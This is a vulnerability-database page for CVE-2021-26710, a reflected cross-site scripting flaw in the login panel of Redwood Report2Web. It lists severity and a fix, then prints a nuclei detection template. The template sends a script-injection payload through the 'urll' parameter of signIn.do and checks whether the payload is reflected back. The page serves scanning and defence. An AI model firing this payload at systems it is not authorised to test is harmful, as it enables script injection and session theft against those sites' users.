HexBrain

Browse / CVEs / CVE-2021-26710

CVE-2021-26710· redwood / report2web· CWE-79

Redwood Report2Web 4.3.4.5 & 4.5.3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
7.5%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Redwood Report2Web 4.3.4.5 and 4.5.3 contains a cross-site scripting vulnerability in the login panel which allows remote attackers to inject JavaScript via the signIn.do urll parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to the latest version of Redwood Report2Web or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26710 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-26710

info:
  name: Redwood Report2Web 4.3.4.5 & 4.5.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Redwood Report2Web 4.3.4.5 and 4.5.3 contains a cross-site scripting vulnerability in the login panel which allows remote attackers to inject JavaScript via the signIn.do urll parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of Redwood Report2Web or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://vict0ni.me/report2web-xss-frame-injection.html
    - https://vict0ni.me/redwood-report2web-xss-and-frame-injection/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26710
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26710
    cwe-id: CWE-79
    epss-score: 0.075
    epss-percentile: 0.94535
    cpe: cpe:2.3:a:redwood:report2web:4.3.4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redwood
    product: report2web
  tags: cve2021,cve,redwood,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from